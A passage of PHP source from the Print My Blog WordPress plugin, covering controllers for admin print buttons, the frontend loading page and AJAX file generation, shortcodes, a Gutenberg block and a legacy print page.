return;
}
if ( $_GET['page'] === PMB_ADMIN_PROJECTS_PAGE_SLUG && isset( $_GET['action'] ) && $_GET['action'] === self::SLUG_ACTION_EDIT_PROJECT ) {
$project = $this->project_manager->getById( ( isset( $_GET['ID'] ) ? (int) $_GET['ID'] : null ) );
if ( !$project ) {
wp_safe_redirect( admin_url( PMB_ADMIN_PROJECTS_PAGE_PATH ) );
exit;
}
$this->project = $project;
}
}
/**
* @param array $actions
* @param WP_Post $post
*/
public function postAdminRowActions( $actions, $post ) {
if ( $post instanceof WP_Post && current_user_can( 'publish_' . CustomPostTypes::CONTENTS ) && is_array( $actions ) ) {
$pmb_actions = $this->getPostActionButtonLinks( true );
foreach ( $pmb_actions as $action ) {
$actions[] = '<a href="' . $action['url'] . '" title="' . $action['title'] . '">' . $action['text'] . '</a>';
}
}
return $actions;
}
/**
* Adds a button to duplicate the post inside the publish metabox.
*/
public function addDuplicateAsPrintMaterialToClassicEditor() {
?>
<div class="pmb-duplicate-button-area">
<?php
// HTML prepared by the called method.
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
$action_links = $this->getPostActionButtonLinks( 'button button-secondary' );
foreach ( $action_links as $action_link ) {
$url = $action_link['url'];
$title = $action_link['title'];
$text = $action_link['text'];
?>
<a class="button button-secondary" href="<?php
echo esc_url( $url );
?>" title="<?php
echo esc_attr( $title );
?>"><?php
echo $text;
?></a>
<?php
}
?>
</div>
<?php
}
/**
* Gets info on the actions that can be taken on a post
* @param bool $concise_text whether to use concise titles or slightly more verbose ones.
* @return array of arrays with keys 'url', 'title' and 'text'
* @throws \Twine\services\config\SettingNotDefinedException
*/
protected function getPostActionButtonLinks( $concise_text = false ) {
global $post;
$actions = [];
// add other print buttons
$formats = $this->config->getSetting( Config::ADMIN_PRINT_BUTTONS_FORMATS_SETTING_NAME );
$post_types = $this->config->getSetting( Config::ADMIN_PRINT_BUTTONS_POST_TYPES_SETTING_NAME );
if ( $post instanceof WP_Post && in_array( $post->post_type, $post_types ) ) {
foreach ( $formats as $format_slug ) {
$format = $this->file_format_registry->getFormat( $format_slug );
if ( $format->supported() ) {
$actions[] = [
'url' => $this->getGeneratePostProjectUrl( $post->ID, $format->slug() ),
'title' => sprintf( __( 'Generate %s', 'print-my-blog' ), $format->title() ),
'text' => ( $concise_text ? $format->title() : sprintf( __( 'Generate %s', 'print-my-blog' ), $format->title() ) ),
];
}
}
}
return $actions;
}
/**
* Gets the URL to the admin action which makes a duplicate print material of the given post.
*
* @param WP_Post $post
* @return string
*/
protected function getDuplicatePostAsPrintMaterialUrl( $post ) {
$url = wp_nonce_url( add_query_arg( [
'action' => self::SLUG_ACTION_DUPLICATE_PRINT_MATERIAL,
'ID' => $post->ID,
], admin_url( PMB_ADMIN_PROJECTS_PAGE_PATH ) ), self::SLUG_ACTION_DUPLICATE_PRINT_MATERIAL );
return $url;
}
/**
* Gets HTML for a button to generate a document from the given project in the given format.
* @param int $post_id
* @param string|FileFormat $format
* @param string $button_css_class
* @return string
*/
protected function getGeneratePostProjectHtml( $post_id, $format, $button_css_class = '' ) {
if ( $button_css_class ) {
$css_attr = ' class="' . esc_attr( $button_css_class ) . '" ';
} else {
$css_attr = '';
}
$format = $this->file_format_registry->getFormat( $format );
return '<a href="' . esc_url( $this->getGeneratePostProjectUrl( $post_id, $format->slug() ) ) . '" ' . $css_attr . '>' . sprintf( __( 'Generate %s', 'print-my-blog' ), $format->title() ) . '</a>';
}
protected function getGeneratePostProjectUrl( $post_id, $format ) {
return wp_nonce_url( add_query_arg( [
Frontend::PMB_LOADING_PAGE_INDICATOR => true,
Frontend::PMB_QUERYARG_FORMAT => $format,
Frontend::PMB_QUERYARG_POST => $post_id,
], site_url() ), Frontend::PMB_LOADING_PAGE_INDICATOR );
}
/**
* To add the duplicate print material button to the Gutenberg block editor, we need to add it via JS
*/
public function addDuplicateAsPrintMaterialToGutenberg() {
global $post;
wp_enqueue_script(
'pmb_blockeditor',
PMB_SCRIPTS_URL . 'build/editor.js',
array(
'wp-components',
'wp-edit-post',
'wp-element',
'wp-i18n',
'wp-plugins'
),
filemtime( PMB_SCRIPTS_DIR . 'build/editor.js' )
);
wp_enqueue_style(
'pmb_blockeditor',
PMB_STYLES_URL . 'editor.css',
[],
filemtime( PMB_STYLES_DIR . 'editor.css' )
);
$html = '';
$pmb_actions = $this->getPostActionButtonLinks();
foreach ( $pmb_actions as $action ) {
$html .= '<div class="pmb-gutenberg-button-row"><a class="button button-secondary" href="' . esc_url( $action['url'] ) . '" title="' . esc_attr( $action['title'] ) . '">' . $action['text'] . '</a>';
}
wp_localize_script( 'pmb_blockeditor', 'pmbBlockEditor', [
'html' => htmlentities( $html, ENT_QUOTES, 'UTF-8' ),
] );
}
}
PrintMyBlog/controllers/Frontend.php 0000644 00000032260 14666776752 0013645 0 ustar 00 <?php
namespace PrintMyBlog\controllers;
use Exception;
use FS_Plugin_License;
use FS_Site;
use PrintMyBlog\domain\FrontendPrintSettings;
use PrintMyBlog\domain\PrintNowSettings;
use PrintMyBlog\entities\ProjectProgress;
use PrintMyBlog\orm\managers\ProjectManager;
use PrintMyBlog\services\FileFormatRegistry;
use PrintMyBlog\services\PmbCentral;
use PrintMyBlog\system\Context;
use Twine\controllers\BaseController;
use Twine\helpers\Array2;
use WP_Post;
use PrintMyBlog\domain\DefaultFileFormats;
/**
* Class PmbFrontend
*
* Sets up generic frontend logic.
*
* @package Print My Blog
* @author Mike Nelson
* @since $VID:$
*
*/
class Frontend extends BaseController
{
/**
* Request variable indicating a request like AJAX.
*/
const PMB_AJAX_INDICATOR = 'pmb_ajax';
/**
* Request variable indicating a request to generate a project.
*/
const PMB_LOADING_PAGE_INDICATOR = 'pmb_loading';
/**
* Request variable indicating which post to generate for the loading page.
*/
const PMB_QUERYARG_POST = 'pmb_p';
/**
* Request variable indicating which format to generate for the loading page.
*/
const PMB_QUERYARG_FORMAT = 'pmb_f';
/**
* Action indicating we should generate a project or check its status.
*/
const PMB_PROJECT_STATUS_ACTION = 'pmb_project_status';
/**
* Querystring variable name to indicate whether to use or disable the WP theme on the next request
* (used because we have to decide very early, before most of PMB is initialized)
*/
const PMB_USE_THEME = 'pmb_use_theme';
/**
* @var ProjectManager
*/
protected $project_manager;
/**
* @var FileFormatRegistry
*/
protected $format_registry;
/**
* @var PmbCentral
*/
protected $pmb_central;
/**
* @var \Twine\orm\entities\PostWrapper|null
*/
protected $project;
/**
* Context injects these dependencies.
* @param ProjectManager $project_manager
* @param FileFormatRegistry $format_registry
* @param PmbCentral $pmb_central
*/
public function inject(
ProjectManager $project_manager,
FileFormatRegistry $format_registry,
PmbCentral $pmb_central
) {
$this->project_manager = $project_manager;
$this->format_registry = $format_registry;
$this->pmb_central = $pmb_central;
}
/**
* Sets up hooks which could be used on the front end.
*/
public function setHooks()
{
add_filter(
'the_content',
array($this, 'addPrintButton'),
/**
* Allows changing the priority of the print buttons to place them above or below other content
* automatically added.
*/
apply_filters(
'PrintMyBlog\controllers\PmbFrontend->setHooks $priority',
10
)
);
add_filter(
'template_redirect',
array($this, 'templateRedirect'),
10
);
add_filter(
'template_include',
array($this, 'templateInclude'),
/**
After Elementor at priority 12,
Enfold theme at the ridiculous priority 20,000...
Someday, perhaps we should have a regular page dedicated to Print My Blog.
If you're reading this code and agree, feel free to work on a pull request!
*/
20001
);
}
/**
* @param string $content
* @return string
*/
public function addPrintButton($content)
{
global $post;
if (! $post instanceof WP_Post || ! in_array($post->post_type, ['post', 'page'], true)) {
return $content;
}
$pmb_print_settings = Context::instance()->reuse('PrintMyBlog\domain\FrontendPrintSettings');
$postmeta_override = get_post_meta($post->ID, 'pmb_buttons', true);
$active_post_types = $pmb_print_settings->activePostTypes();
if (
/**
* Lets you override if Print My Blog adds print buttons or not.
*
* @param bool $show whether to show print buttons on this post/page or not
* @param WP_Post $post
* @param FrontendPrintSettings $pmb_print_settings
* @param string $active_post_types 'show' to always show buttons on this post, 'hide' to hide on this post,
* 'default', null, or false to use the default settings.
* default settings.
*/
apply_filters(
'PrintMyBlog\controllers\PmbFrontend->addPrintButtons $show_buttons',
(
isset($active_post_types[$post->post_type])
&& $active_post_types[$post->post_type]
&& (is_single() || $post->post_type === 'page')
&& ! post_password_required($post)
&& $postmeta_override !== 'hide'
)
|| $postmeta_override === 'show',
$post,
$pmb_print_settings,
$postmeta_override
)
) {
$html = Context::instance()->reuse('PrintMyBlog\domain\PrintButtons')->getHtmlForPrintButtons($post);
$add_to_top = apply_filters(
'\PrintMyBlog\controllers\PmbFrontend->addPrintButton $add_to_top',
$pmb_print_settings->showButtonsAbove(),
$post
);
if ($add_to_top) {
return $html . $content;
} else {
return $content . $html;
}
}
return $content;
}
/**
* Determines if the request is for our page generator page, and if so, uses our template for it.
* @param string $template
* @deprecated 2.2.3. Instead use `PrintMyBlog/controllers/PmbPrintPage::templateRedirect`
*/
public function templateInclude($template)
{
// check for loading page
if (isset($_REQUEST[self::PMB_LOADING_PAGE_INDICATOR])){
return $this->loadingPage();
}
return $template;
}
public function templateRedirect(){
// check for PMB ajax
if (isset($_REQUEST[self::PMB_AJAX_INDICATOR], $_REQUEST['action']) && $_REQUEST['action'] === self::PMB_PROJECT_STATUS_ACTION) {
return $this->pmbAjax();
}
}
/**
* @return string
* @throws Exception
*/
protected function loadingPage(){
if (! check_admin_referer(Frontend::PMB_LOADING_PAGE_INDICATOR)) {
wp_die('The request has expired. Please refresh the previous page and try again.');
}
global $pmb_format;
$pmb_format = Array2::setOr($_REQUEST, self::PMB_QUERYARG_FORMAT, DefaultFileFormats::DIGITAL_PDF);
$post_id = Array2::setOr($_REQUEST, self::PMB_QUERYARG_POST, 0);
if( ! $post_id){
throw new Exception(__('Invalid Post ID. The link you used to get here may be old. If it\'s new, please contact Print My Blog support.', 'print-my-blog'));
}
$this->project = $this->project_manager->getById($post_id);
add_action(
'wp_enqueue_scripts',
array($this, 'loadingPageEnqueueScripts'),
100
);
return PMB_TEMPLATES_DIR . 'loading.php';
}
public function loadingPageEnqueueScripts(){
wp_enqueue_script(
'pmb_loading',
PMB_SCRIPTS_URL . 'pmb-loading.js',
array('jquery', 'pmb_general'),
filemtime(PMB_SCRIPTS_DIR . 'pmb-loading.js')
);
wp_enqueue_style(
'pmb_print_page',
PMB_STYLES_URL . 'pmb-loading.css',
array('pmb_print_common'),
filemtime(PMB_STYLES_DIR . 'pmb-loading.css')
);
$license = pmb_fs()->_get_license();
$site = pmb_fs()->get_site();
$format = Array2::setOr($_REQUEST, 'pmb_f',DefaultFileFormats::DIGITAL_PDF);
$design = $this->project->getDesignFor($format);
$use_theme = $design->getPmbMeta('use_theme');
wp_localize_script(
'pmb_loading',
'pmb_loading',
[
'generate_ajax_data' => apply_filters(
'\PrintMyBlog\controllers\Admin->enqueueScripts generate generate_ajax_data',
[
'action' => Frontend::PMB_PROJECT_STATUS_ACTION,
'ID' => $this->project->getWpPost()->ID,
'_nonce' => wp_create_nonce('pmb-loading'),
'format' => $format,
self::PMB_USE_THEME =>$use_theme ? '1' : '0',
]
),
'pmb_ajax' => pmb_ajax_url(),
'site_url' => site_url(),
'use_pmb_central_for_previews' => pmb_use_pmb_central(),
'license_data' => [
'endpoint' => $this->pmb_central->getCentralUrl(),
'license_id' => $license instanceof FS_Plugin_License ? $license->id : '',
'install_id' => $site instanceof FS_Site ? $site->id : '',
'authorization_header' => $site instanceof FS_Site ? $this->pmb_central->getSiteAuthorizationHeader() : '',
],
'doc_attrs' => apply_filters(
'\PrintMyBlog\controllers\Admin::enqueueScripts doc_attrs',
[
'test' => defined('PMB_TEST_LIVE') && PMB_TEST_LIVE ? true : false,
'type' => 'pdf',
'javascript' => true, // Javascript by DocRaptor
'name' => $this->project->getPublishedTitle(),
'ignore_console_messages' => true,
'ignore_resource_errors' => true,
'pipeline' => '10.1',
'prince_options' => [
'base_url' => site_url(),
'media' => 'print', // use screen
'http_timeout' => 60,
'http_insecure' => true,
// styles
// instead of print styles
// javascript: true, // use Prince's JS, which is more error tolerant
],
]
),
'translations' => [
'error_generating' => __('There was an error preparing your content. Please visit the Print My Blog Help page.', 'print-my-blog'),
'socket_error' => __('Your project could not be accessed in order to generate the file. Maybe your website is not public? Please visit the Print My Blog Help page.', 'print-my-blog'),
],
]
);
}
/**
* Basically do AJAX logic. We used to simply use AJAX endpoint, but it sets IS_ADMIN to true,
* which makes lots of plugins malfunction. Plus, many legitimately think they don't need to enqueue
* scripts on AJAX requests.
*/
protected function pmbAjax(){
if (! isset($_POST['_nonce']) || ! wp_verify_nonce(sanitize_key($_POST['_nonce']), 'pmb-loading')) {
wp_send_json_error(
[
'error' => 'nonce_failure',
'message' => 'Nonce failure',
]
);
return;
}
// Only show errors if PMB_DEBUG is on.
if (defined('PMB_DEBUG') ? PMB_DEBUG : false) {
// We want to see errors, so make sure they're set to display.
// phpcs:disable WordPress.PHP.DevelopmentFunctions.prevent_path_disclosure_error_reporting, WordPress.PHP.DiscouragedPHPFunctions.runtime_configuration_error_reporting, WordPress.PHP.IniSet.display_errors_Blacklisted
error_reporting(E_ALL);
ini_set('display_errors', 1);
// phpcs:enable WordPress.PHP.DevelopmentFunctions.prevent_path_disclosure_error_reporting, WordPress.PHP.DiscouragedPHPFunctions.runtime_configuration_error_reporting, WordPress.PHP.IniSet.display_errors_Blacklisted
}
// Find project by ID.
// @var $project Project just so PHPstorm knows what it's dealing with.
$project = $this->project_manager->getById((int)Array2::setOr($_REQUEST, 'ID', ''));
$format = $this->format_registry->getFormat(sanitize_key(Array2::setOr($_REQUEST, 'format', '')));
// @var $project_generation ProjectGeneration just so PHPstorm knows what I'm doing.
$project_generation = $project->getGenerationFor($format);
$project_generation->deleteGeneratedFiles();
$project_generation->clearDirty();
$project->getProgress()->markStepComplete(ProjectProgress::GENERATE_STEP);
$done = $project_generation->generateIntermediaryFile();
if ($done) {
$url = $project_generation->getGeneratedIntermediaryFileUrl();
} else {
$url = null;
}
// If we're all done, return the file.
$response = [
'url' => $url,
'media' => $format->slug() === 'digital_pdf' ? 'screen' : 'print',
];
wp_send_json($response);
exit;
}
}
PrintMyBlog/controllers/Shortcodes.php 0000644 00000016670 14666776752 0014212 0 ustar 00 <?php
namespace PrintMyBlog\controllers;
use PrintMyBlog\domain\PrintButtons;
use PrintMyBlog\entities\DesignTemplate;
use PrintMyBlog\entities\FileFormat;
use PrintMyBlog\orm\entities\Design;
use PrintMyBlog\orm\entities\Project;
use PrintMyBlog\system\Context;
use Twine\controllers\BaseController;
/**
* Class Shortcodes
*
* Adds and executes shortcodes.
* @package PrintMyBlog\controllers
*/
class Shortcodes extends BaseController
{
/**
* Adds shortcodes.
*/
public function setHooks()
{
add_shortcode(
'pmb_print_buttons',
[$this, 'printButtons' ]
);
add_shortcode(
'pmb_print_page_url',
[$this, 'printPageUrl']
);
add_shortcode(
'pmb_project_title',
[$this, 'projectTitle']
);
add_shortcode(
'pmb_toc',
[$this, 'tableOfContents']
);
add_shortcode(
'pmb_title_page',
[$this, 'titlePage']
);
add_shortcode(
'pmb_byline',
[$this, 'pmbByline']
);
add_shortcode(
'pmb_footnote',
[$this, 'footnote']
);
add_shortcode(
'pmb_web_only_text',
[$this, 'webOnlyText']
);
add_shortcode(
'pmb_web_only_blocks',
[$this, 'webOnlyBlocks']
);
add_shortcode(
'pmb_print_only_text',
[$this, 'printOnlyText']
);
add_shortcode(
'pmb_print_only_blocks',
[$this, 'printOnlyBlocks']
);
add_shortcode(
'pmb_project_setting',
[$this, 'projectSetting']
);
}
// @phpcs:disable PSR1.Methods.CamelCapsMethodName.NotCamelCaps
/**
* Adds a span whose contents will only be shown in the screen
* @param array $atts
* @param string $content
* @return string
*/
public function webOnlyText($atts, $content)
{
return '<span class="pmb-screen-only">' . $content . '</span>';
}
/**
* Adds a div whose contents will only be shown on the screen
* @param array $atts
* @param string $content
* @return string
*/
public function webOnlyBlocks($atts, $content)
{
return '<div class="pmb-screen-only">' . $content . '</div>';
}
/**
* Adds a span whose contents will only be shown in the screen
* @param array $atts
* @param string $content
* @return string
*/
public function printOnlyText($atts, $content)
{
return '<span class="pmb-print-only">' . $content . '</span>';
}
/**
* Adds a div whose contents will only be shown on the screen
* @param array $atts
* @param string $content
* @return string
*/
public function printOnlyBlocks($atts, $content)
{
return '<div class="pmb-print-only">' . $content . '</div>';
}
/**
* @param array $atts
* @return string|string[]
*/
public function printPageUrl($atts)
{
$atts = shortcode_atts(
[
'ID' => null,
'format' => 'print',
'add_protocol' => true,
],
$atts
);
// if it was put in a URL, the most likely place to put this shortcode, the quotes became HTML entities which
// need to be removed
foreach ($atts as $key => $val) {
$atts[$key] = str_replace('"', '', html_entity_decode($val, ENT_COMPAT));
}
$url = Context::instance()->reuse('PrintMyBlog\domain\PrintPageUrlGenerator', [$atts['ID']])->getUrl($atts['format']);
// remove the starting "http://" and "https://" because, if used in an anchor link, those get added automatically
if (! $atts['add_protocol']) {
$url = str_replace(
['http://', 'https://', '://'],
'',
$url
);
}
return $url;
}
/**
* @param array $atts
* @return string
*/
public function printButtons($atts)
{
$atts = shortcode_atts(
[
'ID' => null,
],
$atts
);
return Context::instance()->reuse('PrintMyBlog\domain\PrintButtons')->getHtmlForPrintButtons($atts['ID']);
}
/**
* @return string
*/
public function projectTitle()
{
global $pmb_project;
if ($pmb_project instanceof Project) {
return $pmb_project->getPublishedTitle();
}
return '<-- pmb there is no project title because this post is not being viewed as part of a project. '
. 'You should probably not show this post to site visitors by making it private.-->';
}
/**
* @return string
*/
public function tableOfContents()
{
return apply_filters(
'\PrintMyBlog\controllers\Shortcodes->tableOfContents',
'<div class="pmb-toc">
<ul id="pmb-toc-list" class="pmb-toc-list ">
<!-- Populated dynamically by JS -->
</ul>
</div>'
);
}
/**
* @return string
* @throws \PrintMyBlog\exceptions\TemplateDoesNotExist
*/
public function titlePage()
{
global $pmb_project, $pmb_design, $pmb_format;
if (
$pmb_design instanceof Design
&& $pmb_design->getDesignTemplate() instanceof DesignTemplate
&& $pmb_design->getDesignTemplate()->supports(DesignTemplate::TEMPLATE_TITLE_PAGE)
) {
$template_path = $pmb_design->getDesignTemplate()->getTemplatePathToDivision(
DesignTemplate::TEMPLATE_TITLE_PAGE
);
require $template_path;
} else {
return do_shortcode('<h1>[pmb_project_title]</h1>');
}
}
/**
* @return string
*/
public function pmbByline()
{
global $pmb_project;
if ($pmb_project instanceof Project) {
return $pmb_project->getPmbMeta('byline');
}
return '<-- pmb there is no project byline because this post is not being viewed as part of a project. '
. 'You should probably not show this post to site visitors by making it private.-->';
}
/**
* Just wraps the content in a footnote
* @param array $atts
* @param string $content
* @param string $shortcode_tag
*
* @return string
*/
public function footnote($atts, $content, $shortcode_tag)
{
return '<span class="pmb-footnote">' . $content . '</span>';
}
/**
* Shortcode for getting a setting on a project.
* @param array $atts
* @return mixed|string|null
* @throws \Exception
*/
public function projectSetting($atts)
{
global $pmb_project, $pmb_format;
$key = isset($atts['name']) ? (string)$atts['name'] : '';
if ($key) {
if ($pmb_project instanceof Project) {
return $pmb_project->getSetting($key);
} else {
return 'Project Setting ' . $key;
}
} else {
if ($pmb_project instanceof Project && $pmb_format instanceof FileFormat) {
return '[pmb_project_setting] requires you provide the setting\'s name. Available settings are: ' . wp_json_encode($pmb_project->getDesignFor($pmb_format)->getSettings());
} else {
return 'Project Setting ' . $key;
}
}
}
}
PrintMyBlog/controllers/GutenbergBlock.php 0000644 00000004653 14666776752 0014770 0 ustar 00 <?php
namespace PrintMyBlog\controllers;
use PrintMyBlog\domain\PrintOptions;
use Twine\services\display\FormInputs;
use Twine\controllers\BaseController;
/**
* Class GutenbergBlock
* @package PrintMyBlog\controllers
*/
class GutenbergBlock extends BaseController
{
/**
* Sets hooks needed for this controller to execute its logic.
* @since 1.0.0
*/
public function setHooks()
{
$this->registerGutenbergBlock();
add_filter('the_content', array($this, 'enqueueFrontendScript'));
}
/**
* Register block.
*/
public function registerGutenbergBlock()
{
wp_register_script(
'pmb-block',
PMB_ASSETS_URL . 'scripts/pmb-block.js',
array('wp-blocks', 'wp-element', 'wp-components', 'pmb-setup-page'),
PMB_VERSION
);
if (function_exists('register_block_type')) {
register_block_type(
'printmyblog/setupform',
array(
'editor_script' => 'pmb-block',
'style' => 'pmb-setup-page',
'render_callback' => [$this, 'block_dynamic_render_cb'],
)
);
}
}
/**
* Enqueues the script on the frontend only if the block is in use.
* See https://wordpress.stackexchange.com/questions/328536/load-css-javascript-in-frontend-conditionally-if-block-is-used/328553#328553
* @since 2.3.6
* @param string $content
* @return string
*/
public function enqueueFrontendScript($content)
{
if (function_exists('has_block') && has_block('printmyblog/setupform')) {
wp_enqueue_script('pmb-setup-page', '', '', PMB_VERSION, true);
}
return $content;
}
//phpcs:disable PSR1.Methods.CamelCapsMethodName.NotCamelCaps
/**
* CALLBACK
*
* Render callback for the dynamic block.
*
* Instead of rendering from the block's save(), this callback will render the front-end
*
* @param array $att Attributes from the JS block
* @return string Rendered HTML
*/
public function block_dynamic_render_cb($att)
{
//phpcs:enable
// Coming from RichText, each line is an array's element
ob_start();
$print_options = new PrintOptions();
$displayer = new FormInputs();
include PMB_TEMPLATES_DIR . 'setup_page.php';
return ob_get_clean();
}
}
PrintMyBlog/controllers/LegacyPrintPage.php 0000644 00000055122 14666776752 0015106 0 ustar 00 <?php
namespace PrintMyBlog\controllers;
use mnelson4\rest_api_detector\RestApiDetector;
use mnelson4\rest_api_detector\RestApiDetectorError;
use PrintMyBlog\domain\PrintOptions;
use stdClass;
use Twine\controllers\BaseController;
/**
* Class PmbPrintPage
*
* Sets up the print page.
*
* @package Print My Blog
* @author Mike Nelson
* @since $VID:$
*
*/
class LegacyPrintPage extends BaseController
{
/**
* @var URL of domain we'd like this site to proxy for, so we can print that blog instead.
*/
protected $proxy_for;
/**
* Sets up hooks.
*/
public function setHooks()
{
add_filter(
'template_include',
array($this, 'templateInclude'),
/**
After Elementor at priority 12,
Enfold theme at the ridiculous priority 20,000...
Someday, perhaps we should have a regular page dedicated to Print My Blog.
If you're reading this code and agree, feel free to work on a pull request!
*/
20001
);
}
/**
* @param $template
* @return string
* @deprecated since 2.23.0 use LegacyPrintPage::templateInclude() instead
*/
public function templateRedirect($template){
return $this->templateInclude($template);
}
/**
* Determines if the request is for our page generator page, and if so, uses our template for it.
* @param string $template
* @since 1.0.0
*/
public function templateInclude($template)
{
// Allow linking directly to a print page without using a form.
// phpcs:disable WordPress.Security.NonceVerification.Recommended
if (isset($_GET[PMB_PRINTPAGE_SLUG]) && $_GET[PMB_PRINTPAGE_SLUG] === '1') {
try {
$site_info = new RestApiDetector($this->getFromRequest('site', ''));
} catch (RestApiDetectorError $exception) {
global $pmb_wp_error;
$pmb_wp_error = $exception->wp_error();
return PMB_TEMPLATES_DIR . 'print_page_error.php';
}
// phpcs:disable WordPress.WhiteSpace.PrecisionAlignment.Found
global $pmb_site_name,
$pmb_site_description,
$pmb_site_url,
$pmb_show_site_title,
$pmb_show_site_tagline,
$pmb_show_site_url,
$pmb_show_filters,
$pmb_show_date_printed,
$pmb_show_credit,
$pmb_after_date,
$pmb_before_date,
$pmb_post_type,
$pmb_taxonomy_filters,
$pmb_format,
$pmb_browser,
$pmb_author;
// phpcs:enable WordPress.WhiteSpace.PrecisionAlignment.Found
$pmb_site_url = str_replace(
array(
'https://',
'http://',
),
'',
$site_info->getSite()
);
$pmb_site_name = $site_info->getName();
// If there's no name for the site, use the URL. dotEpub has an error if there is no title for the eBooks.
if (! $pmb_site_name) {
$pmb_site_name = $pmb_site_url;
}
$pmb_site_description = $site_info->getDescription();
$pmb_show_site_title = $this->getFromRequest('show_site_title', false);
$pmb_show_site_tagline = $this->getFromRequest('show_site_tagline', false);
$pmb_show_site_url = $this->getFromRequest('show_site_url', false);
$pmb_show_filters = $this->getFromRequest('show_filters', false);
$pmb_show_date_printed = $this->getFromRequest('show_date_printed', false);
$pmb_show_credit = $this->getFromRequest('show_credit', false);
$user_id_to_filter_by = $this->getFromRequest('pmb-author', null);
if ($user_id_to_filter_by) {
$pmb_author = get_userdata($user_id_to_filter_by);
} else {
$pmb_author = null;
}
if ($site_info->isLocal()) {
$this->proxy_for = '';
} else {
$this->proxy_for = $site_info->getRestApiUrl();
}
// enqueue our scripts and styles at the right time
// specifically, after everybody else, so we can override them.
add_action(
'wp_enqueue_scripts',
array($this, 'enqueueScripts'),
100
);
$pmb_after_date = $this->getDateString('after');
$pmb_before_date = $this->getDateString('before');
// Figure out what post type was selected.
$post_types_using_query_var = get_post_types(
array(
'name' => isset($_GET['post-type']) ? sanitize_key(wp_unslash($_GET['post-type'])) : 'post',
),
'object'
);
if (is_array($post_types_using_query_var)) {
$post_type_info = reset($post_types_using_query_var);
$pmb_post_type = $post_type_info->label;
} else {
$pmb_post_type = esc_html__('Unknown post type', 'print-my-blog');
}
// Figure out what taxonomies were selected (if any) and their terms.
// Ideally we'll do this via the REST API, but I'm in a pinch so just doing it via PHP and
// only when not using WP REST Proxy.
if (empty($_GET['site']) && ! empty($_GET['taxonomies'])) {
// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- we're right about to sanitize them.
$filtering_taxonomies = wp_unslash($_GET['taxonomies']);
foreach ($filtering_taxonomies as $taxonomy => $terms_ids) {
$matching_taxonomy_objects = get_taxonomies(
array(
'rest_base' => sanitize_key($taxonomy),
),
'objects'
);
if (! is_array($matching_taxonomy_objects) || ! $matching_taxonomy_objects) {
continue;
}
$taxonomy_object = reset($matching_taxonomy_objects);
$term_objects = get_terms(
array(
'include' => implode(',', array_map('intval', $terms_ids)),
'hide_empty' => false,
)
);
$term_names = array();
foreach ($term_objects as $term_object) {
$term_names[] = $term_object->name;
}
$pmb_taxonomy_filters[] = array(
'taxonomy' => $taxonomy_object,
'terms' => $term_names,
);
}
} else {
$pmb_taxonomy_filters = array();
}
$pmb_format = $this->getFromRequest('pmb_f', $this->getFromRequest('format', 'print'));
$pmb_browser = $this->getBrowser();
return PMB_TEMPLATES_DIR . 'print_page.php';
}
return $template;
// phpcs:enable WordPress.Security.NonceVerification.Recommended
}
/**
* @param string $date_filter_key
* @return null|string
*/
protected function getDateString($date_filter_key)
{
// No actions being performed so nonce unnecessary.
// phpcs:disable WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- there's no harm in looking.
if (
isset(
$_GET['dates'],
$_GET['dates'][$date_filter_key]
)
) {
// phpcs:enable WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- there's no harm in looking.
return date_i18n(get_option('date_format'), strtotime(sanitize_key(wp_unslash($_GET['dates'][$date_filter_key]))));
// phpcs:enable WordPress.Security.NonceVerification.Recommended
} else {
return null;
}
// phpcs:enable WordPress.Security.NonceVerification.Recommended
}
/**
* @since $VID:$
* @return string
*/
protected function getBrowser()
{
if (isset($_SERVER['HTTP_USER_AGENT'])) {
$agent = wp_strip_all_tags(wp_unslash($_SERVER['HTTP_USER_AGENT']));
} else {
$agent = '';
}
// From https://stackoverflow.com/questions/3047894/how-to-detect-google-chrome-as-the-user-agent-using-php
// Note: Brave gets detected as Chrome.
if (
preg_match('/(Chrome|CriOS)\//i', $agent)
//phpcs:disable Generic.Files.LineLength.TooLong
&& ! preg_match('/(Aviator|ChromePlus|coc_|Dragon|Edge|Flock|Iron|Kinza|Maxthon|MxNitro|Nichrome|OPR|Perk|Rockmelt|Seznam|Sleipnir|Spark|UBrowser|Vivaldi|WebExplorer|YaBrowser)/i', $agent)
//phpcs:enable
) {
return 'chrome';
}
// From https://stackoverflow.com/questions/9209649/how-to-detect-if-browser-is-firefox-with-php
if (strlen(strstr($agent, 'Firefox')) > 0) {
return 'firefox';
}
// From https://stackoverflow.com/a/186779/1493883
if (strstr($agent, ' AppleWebKit/') && strstr($agent, ' Mobile/')) {
return 'mobile_safari';
}
// From https://stackoverflow.com/q/15415883/1493883
if (strlen(strstr($agent, 'Safari')) > 0) {
return 'desktop_safari';
}
return 'unknown';
}
/**
* Enqueues scripts on print page.
*/
public function enqueueScripts()
{
do_action('PrintMyBlog\controllers\PmbPrintPage->enqueueScripts');
wp_enqueue_script(
'pmb_print_page',
PMB_ASSETS_URL . 'scripts/print-page.js',
array('jquery', 'wp-api', 'pmb-beautifier-functions'),
filemtime(PMB_ASSETS_DIR . 'scripts/print-page.js')
);
wp_enqueue_style(
'pmb_print_page',
PMB_ASSETS_URL . 'styles/print-page.css',
array('pmb_print_common'),
filemtime(PMB_ASSETS_DIR . 'styles/print-page.css')
);
// Enqueue tiled gallery too. It's par of Jetpack so it's common, and if we're printing a WordPress.com blog
// it's very likely to be used.
wp_enqueue_style(
'tiled-gallery',
PMB_ASSETS_URL . 'styles/tiled-gallery.css',
array(),
filemtime(PMB_ASSETS_DIR . 'styles/tiled-gallery.css')
);
wp_enqueue_style('pmb-plugin-compatibility');
$post_type = $this->getFromRequest('post-type', 'post');
if ($post_type === 'post') {
$order_var_to_use = 'order-date';
} else {
$order_var_to_use = 'order-menu';
}
$order = $this->getFromRequest($order_var_to_use, 'asc');
$statuses = $this->getFromRequest('statuses', ['publish', 'password', 'private', 'future']);
$statuses = array_filter(
$statuses,
function ($input) {
return in_array($input, ['draft', 'pending', 'private', 'password', 'publish', 'future', 'trash'], true);
}
);
$data = [
'header_selector' => '#pmb-in-progress-h1',
'status_span_selector' => '.pmb-status',
'posts_count_span_selector' => '.pmb-posts-count',
'posts_div_selector' => '.pmb-posts-body',
'waiting_area_selector' => '.pmb-posts-placeholder',
'print_ready_selector' => '.pmb-print-ready',
'loading_content_selector' => '.pmb-loading-content',
'locale' => get_locale(),
'image_size' => $this->getImageRelativeSize(),
'proxy_for' => $this->proxy_for,
